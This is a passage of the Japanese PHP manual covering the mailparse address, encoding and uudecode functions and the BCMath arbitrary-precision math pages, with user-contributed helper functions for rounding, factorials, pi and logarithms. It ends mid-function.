パラメータ

addresses

アドレスを含む文字列。たとえば Wez Furlong <wez@example.com>, doe@example.com のようになります。

注意:

この文字列にはヘッダ名を含めてはいけません。

返り値

各受信者について以下のキーをもつ連想配列の配列を返します。

display | 表示用の受信者名。この部分が設定されていない場合は、 address と同じ値となります。
address | メールアドレス。
is_group | 受信者がニュースグループである場合に true、そうでない場合に false。

例

例1 mailparse_rfc822_parse_addresses() の例

<?php

$to = 'Wez Furlong <wez@example.com>, doe@example.com';
var_dump(mailparse_rfc822_parse_addresses($to));

?>

上の例の出力は以下となります。

array(2) {
  [0]=>
  array(3) {
    ["display"]=>
    string(11) "Wez Furlong"
    ["address"]=>
    string(15) "wez@example.com"
    ["is_group"]=>
    bool(false)
  }
  [1]=>
  array(3) {
    ["display"]=>
    string(15) "doe@example.com"
    ["address"]=>
    string(15) "doe@example.com"
    ["is_group"]=>
    bool(false)
  }
}

User Contributed Notes

murph dot vienna at gmail dot com 11-Mar-2014 04:15
<?php
// input: My Test Email <some.test.email@somewhere.net>

function get_displayname_from_rfc_email($rfc_email_string) {
    // match all words and whitespace, will be terminated by '<'
    $name       = preg_match('/[\w\s]+/', $rfc_email_string, $matches);
    $matches[0] = trim($matches[0]);
    return $matches[0];
}
// Output: My Test Email

function get_email_from_rfc_email($rfc_email_string) {
    // extract parts between the two parentheses
    $mailAddress = preg_match('/(?:<)(.+)(?:>)$/', $rfc_email_string, $matches);
    return $matches[1];
}
// Output: some.test.email@somewhere.net
?>
24-Nov-2004 04:12
An alternative to the mailparse_rfc822_parse_addresses() function is Mail_RFC822::parseAddressList() from Pear:

http://pear.php.net/manual/en/package.mail.mail.php

It parses the string and returns a structured tree of data. Returns a pear_error object if the string is not valid.

Example:

require_once "PEAR.php";
require_once "Mail/RFC822.php";

$addr= "Hi <hi@world.org>";

$res= Mail_RFC822::parseAddressList($addr);
if (PEAR::isError($res)) die("NOT VALID: " . $res->getMessage() . "\n");
echo "OK. Data:\n";
print_r($res);
mat at phpconsulting dot com 24-Apr-2003 09:59
If for some reason you cannot compile mailparse into your install of PHP, you will also find an extremely similar function in the Mail_MIME PEAR class, specifically in mimeDecode.php.


ソースファイルポインタからストリームデータを取得し、 エンコーディングを適用し、出力ファイルポインタに書き込む

  • ≪ mailparse_rfc822_parse_addresses
  • mailparse_uudecode_all ≫
  • PHP Manual
  • Mailparse 関数
  • ソースファイルポインタからストリームデータを取得し、 エンコーディングを適用し、出力ファイルポインタに書き込む

mailparse_stream_encode

(PECL mailparse >= 0.9.0)

mailparse_stream_encode — ソースファイルポインタからストリームデータを取得し、 エンコーディングを適用し、出力ファイルポインタに書き込む

説明

mailparse_stream_encode ( resource $sourcefp , resource $destfp , string $encoding ) : bool

ソースファイルポインタからストリームデータを取得し、 encoding を適用して それを出力ファイルポインタに書き込みます。

パラメータ

sourcefp

有効なファイルハンドル。このファイルからのストリームがパーサに流し込まれます。

destfp

エンコードしたデータを書き込むファイルハンドル。

encoding

mbstring モジュールがサポートする文字エンコーディングのいずれか。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 mailparse_stream_encode() の例

<?php

// email.eml の中身は: hello, this is some text=hello.
$fp = fopen('email.eml', 'r');

$dest = tmpfile();

mailparse_stream_encode($fp, $dest, "quoted-printable");

rewind($dest);

// ファイルの内容を表示します
fpassthru($dest);

?>

上の例の出力は以下となります。

hello, this is some text=3Dhello.

User Contributed Notes

There are no user contributed notes for this page.


ファイルポインタからデータをスキャンし、uuencode されたファイルを展開する

  • ≪ mailparse_stream_encode
  • 数学 ≫
  • PHP Manual
  • Mailparse 関数
  • ファイルポインタからデータをスキャンし、uuencode されたファイルを展開する

mailparse_uudecode_all

(PECL mailparse >= 0.9.0)

mailparse_uudecode_all — ファイルポインタからデータをスキャンし、uuencode されたファイルを展開する

説明

mailparse_uudecode_all ( resource $fp ) : array

指定したファイルポインタからのデータを読み込み、 uuencode されたファイルを一時ファイルに展開します。

パラメータ

fp

有効なファイルポインタ。

返り値

ファイル名の情報を含む連想配列の配列を返します。

filename | 作成された一時ファイルへのパス。
origfilename | もとのファイル名。uuencode されたパートにのみ存在します。
最初の filename エントリがメッセージ本文、次のエントリがデコードされた uuencode ファイルとなります。

例

例1 mailparse_uudecode_all() の例

<?php

$text = <<<EOD
To: fred@example.com

hello, this is some text hello.
blah blah blah.

begin 644 test.txt
/=&AI<R!I<R!A('1E<W0*
`
end

EOD;

$fp = tmpfile();
fwrite($fp, $text);

$data = mailparse_uudecode_all($fp);

echo "BODY\n";
readfile($data[0]["filename"]);
echo "UUE ({$data[1]['origfilename']})\n";
readfile($data[1]["filename"]);

// 後始末をします
unlink($data[0]["filename"]);
unlink($data[1]["filename"]);

?>

上の例の出力は以下となります。

BODY
To: fred@example.com

hello, this is some text hello.
blah blah blah.

UUE (test.txt)
this is a test

User Contributed Notes

mat at phpconsulting dot com 24-Apr-2003 10:04
As an alternative,  uudecode() can be called as static function as follows:

$file =& Mail_mimeDecode::uudecode($some_text);

This will return the following arrays:
 @param  string Input body to look for attachments in
 @return array  Decoded bodies, filenames and permissions


数学

  • BC Math — BCMath 任意精度数学関数
    • はじめに
    • インストール/設定
    • 定義済み定数
    • BC Math 関数
  • GMP — GNU Multiple Precision
    • はじめに
    • インストール/設定
    • 定義済み定数
    • 例
    • GMP 関数
    • GMP — GMP クラス
  • Math — 数学関数
    • はじめに
    • インストール/設定
    • 定義済み定数
    • Math 関数
  • 統計関数
    • はじめに
    • インストール/設定
    • 定義済み定数
    • 統計 関数
  • Trader — Technical Analysis for Traders
    • はじめに
    • インストール/設定
    • 定義済み定数
    • Trader 関数

User Contributed Notes

There are no user contributed notes for this page.


BCMath 任意精度数学関数

  • はじめに
  • インストール/設定
    • 要件
    • インストール手順
    • 実行時設定
    • リソース型
  • 定義済み定数
  • BC Math 関数
    • bcadd — 2つの任意精度の数値を加算する
    • bccomp — 2 つの任意精度数値を比較する
    • bcdiv — 2つの任意精度数値で除算を行う
    • bcmod — 2 つの任意精度数値の剰余を取得する
    • bcmul — 2つの任意精度数値の乗算を行う
    • bcpow — 任意精度数値をべき乗する
    • bcpowmod — 任意精度数値のべき乗の、指定した数値による剰余
    • bcscale — すべての BC 演算関数におけるデフォルトのスケールを設定/取得する
    • bcsqrt — 任意精度数値の平方根を取得する
    • bcsub — 任意精度数値の減算を行う

User Contributed Notes

Artur Kuritsyn 18-Sep-2017 11:59
Useful function for bcround

    function getBcRound($number, $precision = 0)
    {
        $precision = ($precision < 0)
                   ? 0
                   : (int) $precision;
        if (strcmp(bcadd($number, '0', $precision), bcadd($number, '0', $precision+1)) == 0) {
            return bcadd($number, '0', $precision);
        }
        if (getBcPresion($number) - $precision > 1) {
            $number = getBcRound($number, $precision + 1);
        }
        $t = '0.' . str_repeat('0', $precision) . '5';
        return $number < 0
               ? bcsub($number, $t, $precision)
               : bcadd($number, $t, $precision);
    }

    function getBcPresion($number) {
        $dotPosition = strpos($number, '.');
        if ($dotPosition === false) {
            return 0;
        }
        return strlen($number) - strpos($number, '.') - 1;
    }

    var_dump(getBcRound('3', 0) == number_format('3', 0));
    var_dump(getBcRound('3.4', 0) == number_format('3.4', 0));
    var_dump(getBcRound('3.56', 0) == number_format('3.6', 0));
    var_dump(getBcRound('1.95583', 2) == number_format('1.95583', 2));
    var_dump(getBcRound('5.045', 2) == number_format('5.045', 2));
    var_dump(getBcRound('5.055', 2) == number_format('5.055', 2));
    var_dump(getBcRound('9.999', 2) == number_format('9.999', 2));
    var_dump(getBcRound('5.0445', 5) == number_format('5.044500', 5));
    var_dump(getBcRound('5.0445', 4) == number_format('5.04450', 4));
    var_dump(getBcRound('5.0445', 3) == number_format('5.0445', 3));
    var_dump(getBcRound('5.0445', 2) == number_format('5.045', 2));
    var_dump(getBcRound('5.0445', 1) == number_format('5.05', 1));
    var_dump(getBcRound('5.0445', 0) == number_format('5.0', 0));//
    var_dump(getBcRound('5.04455', 2) == number_format('5.045', 2));
    var_dump(getBcRound('99.999', 2) == number_format('100.000', 2));
    var_dump(getBcRound('99.999') == number_format('99.999', 0));
    var_dump(getBcRound('99.999', 'a') == number_format('99.999', 0));
    var_dump(getBcRound('99.999', -1.5) == number_format('99.999', 0));
    var_dump(getBcRound('-0.00001', 2) == number_format('-0.000', 2));
    var_dump(getBcRound('-0.0000', 2) == number_format('0', 2));
    var_dump(getBcRound('-4.44455', 2) == number_format('-4.445', 2));
    var_dump(getBcRound('-4.44555', 0) == number_format('-4.5', 0));
    var_dump(getBcRound('-4.444444444444444444444444444444444444444444445', 0) == number_format('-4.5', 0));
Anonymous 18-Sep-2017 11:58
Useful function for bcround

    function getBcRound($number, $precision = 0)
    {
        $precision = ($precision < 0)
                   ? 0
                   : (int) $precision;
        if (strcmp(bcadd($number, '0', $precision), bcadd($number, '0', $precision+1)) == 0) {
            return bcadd($number, '0', $precision);
        }
        if (getBcPresion($number) - $precision > 1) {
            $number = getBcRound($number, $precision + 1);
        }
        $t = '0.' . str_repeat('0', $precision) . '5';
        return $number < 0
               ? bcsub($number, $t, $precision)
               : bcadd($number, $t, $precision);
    }

    function getBcPresion($number) {
        $dotPosition = strpos($number, '.');
        if ($dotPosition === false) {
            return 0;
        }
        return strlen($number) - strpos($number, '.') - 1;
    }

    var_dump(getBcRound('3', 0) == number_format('3', 0));
    var_dump(getBcRound('3.4', 0) == number_format('3.4', 0));
    var_dump(getBcRound('3.56', 0) == number_format('3.6', 0));
    var_dump(getBcRound('1.95583', 2) == number_format('1.95583', 2));
    var_dump(getBcRound('5.045', 2) == number_format('5.045', 2));
    var_dump(getBcRound('5.055', 2) == number_format('5.055', 2));
    var_dump(getBcRound('9.999', 2) == number_format('9.999', 2));
    var_dump(getBcRound('5.0445', 5) == number_format('5.044500', 5));
    var_dump(getBcRound('5.0445', 4) == number_format('5.04450', 4));
    var_dump(getBcRound('5.0445', 3) == number_format('5.0445', 3));
    var_dump(getBcRound('5.0445', 2) == number_format('5.045', 2));
    var_dump(getBcRound('5.0445', 1) == number_format('5.05', 1));
    var_dump(getBcRound('5.0445', 0) == number_format('5.0', 0));//
    var_dump(getBcRound('5.04455', 2) == number_format('5.045', 2));
    var_dump(getBcRound('99.999', 2) == number_format('100.000', 2));
    var_dump(getBcRound('99.999') == number_format('99.999', 0));
    var_dump(getBcRound('99.999', 'a') == number_format('99.999', 0));
    var_dump(getBcRound('99.999', -1.5) == number_format('99.999', 0));
    var_dump(getBcRound('-0.00001', 2) == number_format('-0.000', 2));
    var_dump(getBcRound('-0.0000', 2) == number_format('0', 2));
    var_dump(getBcRound('-4.44455', 2) == number_format('-4.445', 2));
    var_dump(getBcRound('-4.44555', 0) == number_format('-4.5', 0));
    var_dump(getBcRound('-4.444444444444444444444444444444444444444444445', 0) == number_format('-4.5', 0));
Hayley Watson 26-Oct-2015 01:30
This extension is an interface to the GNU implementation as a library of the Basic Calculator utility by Philip Nelson; hence the name.
volek at adamv dot cz 15-Jan-2015 01:44
Note that when you use implementation of factorial that ClaudiuS made, you get results even if you try to calculate factorial of number that you normally can't, e.g. 2.5, -2, etc. Here is safer implementation:
<?php
/**
 * Calculates a factorial of given number.
 * @param string|int $num
 * @throws InvalidArgumentException
 * @return string
 */
function bcfact($num)
{
    if (!filter_var($num, FILTER_VALIDATE_INT) || $num <= 0) {
        throw new InvalidArgumentException(sprintf('Argument must be natural number, "%s" given.', $num));
    }

    for ($result = '1'; $num > 0; $num--) {
        $result = bcmul($result, $num);
    }

    return $result;
}
?>
George Lund 20-May-2014 12:48
It's worth noting that this library is named very wrongly.

It may be called 'Binary Calculator', but what you're getting is a decimal calculator that can represent base-10 fractions accurately.
ClaudiuS 19-Feb-2013 02:25
Needed to compute some permutations and found the BC extension great but poor on functions, so untill this gets implemented here's the factorial function:

<?php
/* BC FACTORIAL
 * n! = n * (n-1) * (n-2) .. 1 [eg. 5! = 5 * 4 * 3 * 2 * 1 = 120]
 */
function bcfact($n){
    $factorial=$n;
    while (--$n>1) $factorial=bcmul($factorial,$n);
    return $factorial;
}

print bcfact(50);
//30414093201713378043612608166064768844377641568960512000000000000
?>


はじめに

任意の精度の演算をサポートするために、PHP は 2147483647 (または 0x7FFFFFFF) までの 任意のサイズおよび精度の小数桁をサポートする BCMath を提供します。 十分なメモリがあれば、文字列表現もサポートします。

有効(別名 well-formed) な BCMath数 は、以下の正規表現にマッチする文字列です。 /^[+-]?[0]*[1-9]*[.]?[0-9]*$/.

警告

string であることが期待されている float 型の値を BCMath 関数に渡してしまうと、 PHP が float 型の値を string 型に変換するやり方の影響で、 あなたが望む結果にならない可能性があります。 すなわち、 string が、ネイピア数を使った表記 (これは BCMath では未サポートです) である可能性があったり、 小数点の記号がロケール依存(BCMath は常に小数点(.)を期待しています) であったりする場合です。

<?php
$num1 = 0; // (string) 0 => '0'
$num2 = -0.000005; // (string) -0.000005 => '-5.05E-6'
echo bcadd($num1, $num2, 6); // => '0.000000'

setlocale(LC_NUMERIC, 'de_DE'); // 小数点がコンマになるロケール
$num2 = 1.2; // (string) 1.2 => '1,2'
echo bcsub($num1, $num2, 1); // => '0.0'
?>

User Contributed Notes

There are no user contributed notes for this page.


インストール手順

これらの関数は、PHPが構築オプション --enable-bcmath を付けてコンパイルされている場合にのみ使用できます。

Windows 版の PHP には この拡張モジュールのサポートが組み込まれています。これらの関数を使用 するために拡張モジュールを追加でロードする必要はありません。

User Contributed Notes

There are no user contributed notes for this page.


実行時設定

php.ini の設定により動作が変化します。

BC 数学関数設定オプション
名前 | デフォルト | 変更可能 | 変更履歴
bcmath.scale | "0" | PHP_INI_ALL |
PHP_INI_* モードの詳細および定義については どこで設定を行うのか を参照してください。

以下に設定ディレクティブに関する 簡単な説明を示します。

bcmath.scale int

全ての bcmath 関数に関する 10 進桁数。 bcscale() も参照してください。

User Contributed Notes

There are no user contributed notes for this page.


BC Math 関数

目次

  • bcadd — 2つの任意精度の数値を加算する
  • bccomp — 2 つの任意精度数値を比較する
  • bcdiv — 2つの任意精度数値で除算を行う
  • bcmod — 2 つの任意精度数値の剰余を取得する
  • bcmul — 2つの任意精度数値の乗算を行う
  • bcpow — 任意精度数値をべき乗する
  • bcpowmod — 任意精度数値のべき乗の、指定した数値による剰余
  • bcscale — すべての BC 演算関数におけるデフォルトのスケールを設定/取得する
  • bcsqrt — 任意精度数値の平方根を取得する
  • bcsub — 任意精度数値の減算を行う

User Contributed Notes

eyadbere at gmail dot com 18-Aug-2020 11:02
If your calculations involves input from users don't forget to set a limit on the range and/or the length of the input because very huge numbers requires intensive processing and you might reach a point where your server can't do any further processing
kmeissen at gmx dot de 24-Jun-2016 10:05
/*
 * Computes ln(x) very fast even with high resolution
 * uses standard log()-function to optimise convergence of
 * ln(1+x) = x - x*x/2 + x*x*x/3 - ...
 *
 * example:
 * bcscale(1000);
 * $x = bcln("1000000");
 *
 * result:
 * $x = 13.81551055796427410410794872810618524560660893...
 * within 0.9 sec, that are 80 iterations
 *
 * @author Klaus Meissen, Germany
 * @license Public domain
*/
function bcln($value) // value > 0
{
    $m = (string)log($value);
    $x = bcsub(bcdiv($value,bcexp($m)),"1");
    $res = "0";
    $xpow = "1";
    $i=0;
    do
    {
        $i++;
        $xpow = bcmul($xpow,$x);
        $sum = bcdiv($xpow, $i);
        if ($i%2==1)
        {
            $res = bcadd($res, $sum);
        }else{
            $res = bcsub($res, $sum);
        }
    }
    while (bccomp($sum, '0'));
    return bcadd($res,$m);
}
mail at djordjeungar dot com 14-Oct-2013 01:43
Inspired by dawidgarus' implementation, here's my simple bc math helper, it does not support function calls, but supports boolean comparisons and is about ~40% faster.

<?php
function bc() {
    $argv = func_get_args();
    $string = str_replace(' ', '', "({$argv[0]})");

    $operations = array();
    if (strpos($string, '^') !== false) $operations[] = '\^';
    if (strpbrk($string, '*/%') !== false) $operations[] = '[\*\/\%]';
    if (strpbrk($string, '+-') !== false) $operations[] = '[\+\-]';
    if (strpbrk($string, '<>!=') !== false) $operations[] = '<|>|=|<=|==|>=|!=|<>';

    $string = preg_replace('/\$([0-9\.]+)/e', '$argv[$1]', $string);
    while (preg_match('/\(([^\)\(]*)\)/', $string, $match)) {
        foreach ($operations as $operation) {
            if (preg_match("/([+-]{0,1}[0-9\.]+)($operation)([+-]{0,1}[0-9\.]+)/", $match[1], $m)) {
                switch($m[2]) {
                    case '+':  $result = bcadd($m[1], $m[3]); break;
                    case '-':  $result = bcsub($m[1], $m[3]); break;
                    case '*':  $result = bcmul($m[1], $m[3]); break;
                    case '/':  $result = bcdiv($m[1], $m[3]); break;
                    case '%':  $result = bcmod($m[1], $m[3]); break;
                    case '^':  $result = bcpow($m[1], $m[3]); break;
                    case '==':
                    case '=':  $result = bccomp($m[1], $m[3]) == 0; break;
                    case '>':  $result = bccomp($m[1], $m[3]) == 1; break;
                    case '<':  $result = bccomp($m[1], $m[3]) ==-1; break;
                    case '>=': $result = bccomp($m[1], $m[3]) >= 0; break;
                    case '<=': $result = bccomp($m[1], $m[3]) <= 0; break;
                    case '<>':
                    case '!=': $result = bccomp($m[1], $m[3]) != 0; break;
                }
                $match[1] = str_replace($m[0], $result, $match[1]);
            }
        }
        $string = str_replace($match[0], $match[1], $string);
    }

    return $string;
}
?>
dawidgarus at gmail dot com 28-Dec-2011 10:22
If you too are confused with illegible code like this:
<?php
$a = "3";
$b = "5";
bcadd(bcmod(bcadd(bcdiv(bcsqrt(bcadd(7, bcpow($a, 2))), 4), $b), "4"), "0.5"); // i might made a mistake somewhere
?>

You may consider use my function, which makes example above look:
<?php
bc("(sqrt(7 + $1^2) / 4 + $2) % 4 + 0.5", "3", "5");
?>

Code:
<?php

function bc() {
        $functions = 'sqrt';
        // list of | separated functions
        // sqrt refer to bcsqrt etc.
        // function must take exactly 1 argument

        $argv = func_get_args();
        $string = str_replace(' ', '', '('.$argv[0].')');
        $string = preg_replace('/\$([0-9\.]+)/e', '$argv[$1]', $string);
        while (preg_match('/(('.$functions.')?)\(([^\)\(]*)\)/', $string, $match)) {
                while (
                        preg_match('/([0-9\.]+)(\^)([0-9\.]+)/', $match[3], $m) ||
                        preg_match('/([0-9\.]+)([\*\/\%])([0-9\.]+)/', $match[3], $m) ||
                        preg_match('/([0-9\.]+)([\+\-])([0-9\.]+)/', $match[3], $m)
                ) {
                        switch($m[2]) {
                                case '+': $result = bcadd($m[1], $m[3]); break;
                                case '-': $result = bcsub($m[1], $m[3]); break;
                                case '*': $result = bcmul($m[1], $m[3]); break;
                                case '/': $result = bcdiv($m[1], $m[3]); break;
                                case '%': $result = bcmod($m[1], $m[3]); break;
                                case '^': $result = bcpow($m[1], $m[3]); break;
                        }
                        $match[3] = str_replace($m[0], $result, $match[3]);
                }
                if (!empty($match[1]) && function_exists($func = 'bc'.$match[1]))  {
                        $match[3] = $func($match[3]);
                }
                $string = str_replace($match[0], $match[3], $string);
        }
        return $string;
}

?>

Note you must define scale with bcscale().
artefact2 at gmail dot com 29-Jul-2010 06:18
Here are some useful functions to convert large hex numbers from and to large decimal ones :

<?php
    public static function bchexdec($hex) {
        if(strlen($hex) == 1) {
            return hexdec($hex);
        } else {
            $remain = substr($hex, 0, -1);
            $last = substr($hex, -1);
            return bcadd(bcmul(16, bchexdec($remain)), hexdec($last));
        }
    }

    public static function bcdechex($dec) {
        $last = bcmod($dec, 16);
        $remain = bcdiv(bcsub($dec, $last), 16);

        if($remain == 0) {
            return dechex($last);
        } else {
            return bcdechex($remain).dechex($last);
        }
    }
thomas at tgohome dot com 14-Nov-2009 03:17
Some useful bcmath functions:

<?php

/*
 * Computes the factoral (x!).
 * @author Thomas Oldbury.
 * @license Public domain.
 */
function bcfact($fact, $scale = 100)
{
    if($fact == 1) return 1;
    return bcmul($fact, bcfact(bcsub($fact, '1'), $scale), $scale);
}

/*
 * Computes e^x, where e is Euler's constant, or approximately 2.71828.
 * @author Thomas Oldbury.
 * @license Public domain.
 */
function bcexp($x, $iters = 7, $scale = 100)
{
    /* Compute e^x. */
    $res = bcadd('1.0', $x, $scale);
    for($i = 0; $i < $iters; $i++)
    {
        $res += bcdiv(bcpow($x, bcadd($i, '2'), $scale), bcfact(bcadd($i, '2'), $scale), $scale);
    }
    return $res;
}

/*
 * Computes ln(x).
 * @author Thomas Oldbury.
 * @license Public domain.
 */
function bcln($a, $iters = 10, $scale = 100)
{
    $result = "0.0";

    for($i = 0; $i < $iters; $i++)
    {
        $pow = bcadd("1.0", bcmul($i, "2.0", $scale), $scale);
        //$pow = 1 + ($i * 2);
        $mul = bcdiv("1.0", $pow, $scale);
        $fraction = bcmul($mul, bcpow(bcdiv(bcsub($a, "1.0", $scale), bcadd($a, "1.0", $scale), $scale), $pow, $scale), $scale);
        $result = bcadd($fraction, $result, $scale);
    }

    $res = bcmul("2.0", $result, $scale);
    return $res;
}

/*
 * Computes a^b, where a and b can have decimal digits, be negative and/or very large.
 * Also works for 0^0. Only able to calculate up to 10 digits. Quite slow.
 * @author Thomas Oldbury.
 * @license Public domain.
 */
function bcpowx($a, $b, $iters = 25, $scale = 100)
{
    $ln = bcln($a, $iters, $scale);
    return bcexp(bcmul($ln, $b, $scale), $iters, $scale);
}

$precision = 35;

echo "3^4.5,          precision 15, iters 25 = " . bcpowx('3', '4.5', 25, $precision) . "\n";
echo "4.5^3,          precision 15, iters 25 = " . bcpowx('4.5', '3', 25, $precision) . "\n";
echo "8^1/2,          precision 15, iters 25 = " . bcpowx('8', '0.5', 25, $precision) . "\n";
echo "28^-1,          precision 15, iters 25 = " . bcpowx('28', '-1', 25, $precision) . "\n";
echo "432^0,          precision 15, iters 25 = " . bcpowx('432', '0', 25, $precision) . "\n";
echo "0^0,            precision 15, iters 25 = " . bcpowx('0.0', '0', 25, $precision) . "\n";
echo "9^999,          precision 15, iters 25 = " . bcpowx('9', '999', 25, $precision) . "\n";
echo "9^9999,         precision 15, iters 25 = " . bcpowx('9', '9999', 25, $precision) . "\n";
echo "9^99999,        precision 15, iters 25 = " . bcpowx('9', '99999', 25, $precision) . "\n";
echo "9^999999,       precision 15, iters 25 = " . bcpowx('9', '999999', 25, $precision) . "\n";
echo "9^9999999,      precision 15, iters 25 = " . bcpowx('9', '9999999', 25, $precision) . "\n";
echo "9^99999999,     precision 15, iters 25 = " . bcpowx('9', '99999999', 25, $precision) . "\n";
echo "9^999999999,    precision 15, iters 25 = " . bcpowx('9', '999999999', 25, $precision) . "\n";
echo "9^9999999999,   precision 15, iters 25 = " . bcpowx('9', '9999999999', 25, $precision) . "\n";
echo "9^99999999999,  precision 15, iters 25 = " . bcpowx('9', '99999999999', 25, $precision) . "\n";
echo "9^999999999999, precision 15, iters 25 = " . bcpowx('9', '999999999999', 25, $precision) . "\n";

?>
francois dot barbier at gmail dot com 12-Aug-2009 10:19
As "benjcarson at digitaljunkies dot ca" (http://www.php.net/ref.bc.php#23038) noted in the first two comments, bcmath doesn't accept exponential notation.

Moreover, you might have other problems if you feed the bcmath functions directly with floating point numbers.
Consider the following example:
<?php
bcscale(1);
$a = 0.8;
$b = 0.7;
var_dump((string) $a);   // string(3) "0.8"
var_dump((string) $b);   // string(3) "0.a"
var_dump(bcadd($a, $b)); // string(3) "1.5"
setLocale(LC_ALL, 'fr_BE.UTF-8');
var_dump((string) $a);   // string(3) "0,8" --> note the comma
var_dump((string) $b);   // string(3) "0,7" --> note the comma
var_dump(bcadd($a, $b)); // string(3) "0.0"
?>
The floating point numbers passed to the bcadd() function are automatically converted to string using the localized decimal separator. However, the bcmath functions always use a full stop, which results in the last result being incorrect.

Below is a function to convert floating point numbers to strings correctly. It takes care of the decimal separator and the exponential notation. It also preserve the precision without drifting away (e.g. 1.0 doesn't become 0.99999...)
<?php
/**
 * Convert a number to locale independent string without E notation and without
 * loosing precision
 *
 * @param      int/float/double $fNumber The number to convert.
 * @return     string The locale independent converted number.
 */
function bcconv($fNumber)
{
    $sAppend = '';
    $iDecimals = ini_get('precision') - floor(log10(abs($fNumber)));
    if (0 > $iDecimals)
    {
        $fNumber *= pow(10, $iDecimals);
        $sAppend = str_repeat('0', -$iDecimals);
        $iDecimals = 0;
    }
    return number_format($fNumber, $iDecimals, '.', '').$sAppend;
}
?>

Example:
<?php
setLocale(LC_ALL, 'fr_BE.UTF-8'); // decimal separator is now a comma
$precision = ini_get('precision') + 2; // should give 16
bcscale($precision);
$big = pow(10, $precision);
$small = 1 / $big;
var_dump(bcconv($big + $small));               // string(17) "10000000000000000"
var_dump(bcadd($big, $small));                 // string(18) "0.0000000000000000"
var_dump(bcadd(bcconv($big), bcconv($small))); // string(34) "10000000000000000.0000000000000001"
?>
The first result's precision loss is due to PHP's internal floating point numbers' representation.
The second result is wrong because of the localized decimal separator.
Finally, the last result is correct.
Charles 13-Aug-2008 10:04
Function to round bc string:

<?php
function bcround($strval, $precision = 0) {
    if (false !== ($pos = strpos($strval, '.')) && (strlen($strval) - $pos - 1) > $precision) {
        $zeros = str_repeat("0", $precision);
        return bcadd($strval, "0.{$zeros}5", $precision);
    } else {
        return $strval;
    }
}
?>
Bouke Haarsma 29-Mar-2008 03:40
Please be aware not to use/have spaces in your strings. It took me a while to find the error in some advanced calculations!

<?php
echo bcadd("1", "2"); // 3
echo bcadd("1", "2 "); // 1
echo bcadd("1", " 2"); // 1
?>
udochen at gmail dot com 27-Feb-2007 11:48
Code below implements standard rounding on 5 or higer round up, else don't round.  There wasn't a round function for the BC functions, so here is a simple one that works. Same args as round, except takes strings and returns a string for more BC operations.

----------------

function roundbc($x, $p) {

     $x = trim($x);
     $data = explode(".",$x);

     if(substr($data[1],$p,1) >= "5") {

           //generate the add string.
           $i=0;
           $addString = "5";
           while($i < $p) {
               $addString = "0" . $addString;
               $i++;
           }//end while.
           $addString = "." . $addString;

           //now add the addString to the original fraction.
           $sum = bcadd($data[0] . "." . $data   [1],$addString,$p+1);

           //explode the result.
           $sumData = explode(".",$sum);

           //now, return the correct precision on the rounded number.
           return $sumData[0] . "." . substr($sumData[1],0,$p);

      } else {

           //don't round the value and return the orignal to the desired
           //precision or less.
           return $data[0] . "." . substr($data[1],0,$p);

      }//end if/else.

   }//end roundbc.
mgcclx at gmail dot com 29-Jan-2007 06:52
I wrote this function with many BCMath functions. It should be the fastest function in PHP to find the number pi into any precision, my test is it generate 2000 digits after the dot in 8 seconds. I don't think you need anything more than that.
<?php
//bcpi function with Gauss-Legendre algorithm
//by Chao Xu (Mgccl)
function bcpi($precision){
    $limit = ceil(log($precision)/log(2))-1;
    bcscale($precision+6);
    $a = 1;
    $b = bcdiv(1,bcsqrt(2));
    $t = 1/4;
    $p = 1;
    while($n < $limit){
        $x = bcdiv(bcadd($a,$b),2);
        $y = bcsqrt(bcmul($a, $b));
        $t = bcsub($t, bcmul($p,bcpow(bcsub($a,$x),2)));
        $a = $x;
        $b = $y;
        $p = bcmul(2,$p);
        ++$n;
    }
    return bcdiv(bcpow(bcadd($a, $b),2),bcmul(4,$t),$precision);
}
?>
marcus at synchromedia dot co dot uk 09-Aug-2006 09:17
Oops, first posting contained wrong code... sorry.
An amendment to the entry by pulstar at mail dot com - the digits() function can be made much faster (remove the line breaks from the big string, and make sure you don't miss any characters!):

function digits2($base) {
    if($base < 64) {
        return substr('0123456789abcdefghijklmnopqrstuvwxyz
ABCDEFGHIJKLMNOPQRSTUVWXYZ-_', 0, $base);
    } else {
        return substr("\x0\x1\x2\x3\x4\x5\x6\x7\x8\x9\xa\xb\xc\xd
\xe\xf\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d
\x1e\x1f\x20!\x22#\x24%&'()*+,-./0123456789:;<=>
\x3f@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]
^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84\x85
\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95
\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5
\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5
\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5
\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5
\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5
\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6
\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff", 0, $base);
    }
}

in my benchmarks, this is around 150x faster for 256 digits
stonehew ut gm a il det com 24-Nov-2004 09:31
Like any other bc function, you can't trust the last couple of digits, but everything else seems to check out.  If you want to use this for anything important, you may want to verify this against other sources of pi before use.  This function calculates 100 decimal places of pi in 329 iterations -- not exactly fast (each iteration calls the factorial function, from below, twice), so I try to avoid calling it more than once.

<?
//arbitrary precision pi approximator
//author tom boothby
//free for any use

function bcpi() {
    $r=2;
    $i=0;
    $or=0;

    while(bccomp($or,$r)) {
        $i++;
        $or=$r;
        $r = bcadd($r,bcdiv(bcmul(bcpow(bcfact($i),2),
                        bcpow(2,$i+1)),bcfact(2*$i+1)));
    }

    return $r;
}

?>
stonehew et g m a i l dut com 23-Nov-2004 11:20
I hacked these taylor expansions up to make diagrams for some physics homework.  I don't think you'll be wanting to do any real science with PHP... but what the hell, why not?  I plan to implement either a spigot algorithm or something similar to generate pi in the near future.

<?
// arbitrary precision sin and cosine functions
// author tom boothby
// free for any use

function bcfact($n) {
    $r = $n--;
    while($n>1) $r=bcmul($r,$n--);
